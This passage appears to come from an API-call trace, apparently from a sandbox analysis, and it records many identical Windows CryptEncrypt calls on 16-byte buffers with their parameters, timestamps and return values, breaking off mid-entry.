CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.920] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.921] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.922] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.923] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 